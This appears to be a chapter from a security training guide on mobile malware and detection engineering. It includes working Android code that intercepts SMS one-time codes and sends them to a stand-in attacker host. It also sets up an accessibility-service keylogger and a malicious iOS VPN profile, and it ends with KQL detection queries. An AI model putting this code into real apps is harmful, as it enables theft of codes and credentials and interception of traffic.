Mobile Malware Concepts

Mobile devices carry credentials, MFA tokens, email, and real-time location — and they authenticate to corporate environments via MDM, VPN clients, and email apps. Detection engineering for mobile threats focuses on MDM telemetry, app behavior anomalies, and the intersection of mobile authentication with Windows/cloud identity systems. This chapter covers Android malware architecture, iOS restrictions, and the stalkerware/MDM abuse vectors relevant to enterprise security.

Android Security Architecture

Android Malware Techniques

SMS Interception via BroadcastReceiver

// AndroidManifest.xml: declare receiver with SMS permissions
// RECEIVE_SMS must be granted by user (Dangerous permission, prompted at runtime on Android 6+)

<!-- Manifest excerpt -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>

<receiver android:name=".SmsReceiver"
          android:exported="true"
          android:enabled="true">
  <intent-filter android:priority="999">  <!-- High priority → fires before stock SMS app -->
    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
  </intent-filter>
</receiver>

// SmsReceiver.java — intercept SMS, exfil OTP tokens
public class SmsReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context ctx, Intent intent) {
    Bundle bundle = intent.getExtras();
    Object[] pdus = (Object[]) bundle.get("pdus");
    for (Object pdu : pdus) {
      SmsMessage msg = SmsMessage.createFromPdu((byte[])pdu);
      String body = msg.getMessageBody();
      String from = msg.getOriginatingAddress();
      // Exfiltrate via HTTPS
      exfil(ctx, from, body);
    }
  }

  private void exfil(Context ctx, String from, String body) {
    new Thread(() -> {
      try {
        URL url = new URL("https://collect.attacker[.]com/sms");
        HttpsURLConnection c = (HttpsURLConnection) url.openConnection();
        c.setRequestMethod("POST");
        c.getOutputStream().write(("from="+from+"&body="+body).getBytes());
        c.getResponseCode();
      } catch (Exception e) {}
    }).start();
  }
}

Accessibility Service Abuse (Overlay / Keylogging)

// AccessibilityService receives events for every UI interaction.
// Originally for screen readers; abused for:
//   - Reading text from any app (including authenticator apps)
//   - Simulating clicks/keystrokes (auto-click to bypass 2FA prompts)
//   - Overlay attacks: draw over legitimate apps to capture credentials
//
// Requires user to enable in Settings → Accessibility → (app name).
// Bankers commonly achieve this via fake "battery optimization" or "update" prompts.

<service android:name=".A11yKeylogger"
         android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
  <intent-filter>
    <action android:name="android.accessibilityservice.AccessibilityService"/>
  </intent-filter>
  <meta-data android:name="android.accessibilityservice"
             android:resource="@xml/accessibility_config"/>
</service>

// accessibility_config.xml:
// <accessibility-service ... accessibilityEventTypes="typeViewTextChanged|typeWindowStateChanged"
//   accessibilityFeedbackType="feedbackGeneric" flags="flagReportViewIds" />

// In AccessibilityService.onAccessibilityEvent():
// event.getSource().getText() → text in focused field (captures passwords in many apps)
// event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED → keylogged input

iOS Security Architecture

Stalkerware and MDM Abuse

// Enterprise MDM (Intune, Jamf, MobileIron) has legitimate capability to:
//   - Read device IMEI, serial number, OS version
//   - Read installed app list
//   - Enforce compliance policies (wipe if jailbroken)
//   - Push configuration profiles silently
//   - Remote wipe
//
// MDM abuse: attacker enrolls a malicious MDM profile via phishing URL.
// The profile installs a trusted CA cert → allows TLS interception.
// The profile installs VPN config → routes traffic through attacker server.
//
// iOS MDM profile installation via URL:

// mobileconfig (XML) served from attacker-controlled HTTPS server:
// User visits URL on iOS Safari → "Profile Downloaded" prompt appears
// User taps Install, enters passcode → profile installed
// Profile can contain: certificates, VPN config, WiFi config, managed app list

<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
  <key>PayloadType</key><string>Configuration</string>
  <key>PayloadContent</key><array>
    <dict>
      <key>PayloadType</key><string>com.apple.vpn.managed</string>
      <key>VPNType</key><string>L2TP</string>
      <key>RemoteAddress</key><string>192.0.2.1</string>
      <!-- Sends all traffic through attacker's VPN -->
    </dict>
  </array>
</dict></plist>

Platform Security Comparison

Detection Engineering

-- Intune MDM: device compliance change (may indicate rooting/jailbreak detection)
-- MDE KQL: MDM compliance state changes
IntuneDevices
| where Timestamp > ago(7d)
| where ComplianceState != prev(ComplianceState, 1)
   or isJailbroken == "True"
   or isRooted == "True"
| project Timestamp, DeviceName, UserName, ComplianceState,
    isJailbroken, isRooted, OperatingSystem

-- MDE: new app installed on managed Android device (from non-Play sources)
IntuneDeviceAppInstalls
| where Timestamp > ago(1d)
| where InstallState == "installed"
| where AppSource != "Google Play"
| project Timestamp, DeviceName, UserName, AppName, AppVersion, AppSource

-- AAD: sign-in from mobile device + abnormal location (may indicate MDM compromise)
AADSignInEventsBeta
| where Timestamp > ago(1d)
| where DeviceDetail_operatingSystem has_any ("Android","iOS")
| where RiskLevelDuringSignIn in ("medium","high")
| where CountryCode != "US"  // adjust for org baseline
| project Timestamp, AccountUpn, IPAddress, CountryCode,
    RiskLevelDuringSignIn, DeviceDetail_operatingSystem

Q&A